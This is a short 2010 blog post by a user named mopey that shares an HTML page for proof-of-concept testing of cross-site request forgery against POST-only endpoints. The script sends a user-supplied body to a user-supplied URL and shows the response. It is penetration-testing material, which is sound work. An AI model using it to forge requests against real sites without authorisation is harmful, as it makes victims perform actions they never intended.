XSRF POST Testing
February 3rd, 2010 by mopey
POC XSRFs that only allow POST is not as straightforward as the GET. I use something like the following for situations like that.
<html>
<head></head>
<body>
<script>
function poststuff() {
var site = document.getElementById("posturl").value;
var post_data = document.getElementById("postparam").value;
alert("site: " + site);
alert("pdata: " + post_data);
var xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST", site, true);
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4) {
alert(xmlhttp.responseText);
}
};
xmlhttp.send(post_data);
}
</script>
<form>
URL <input type="text" id="posturl" /><br />
POST <input type="text" id="postparam" /><br />
<input type="button"
onclick="poststuff()"
value="xsrf" />
</form>
</body>
Tags: xsrf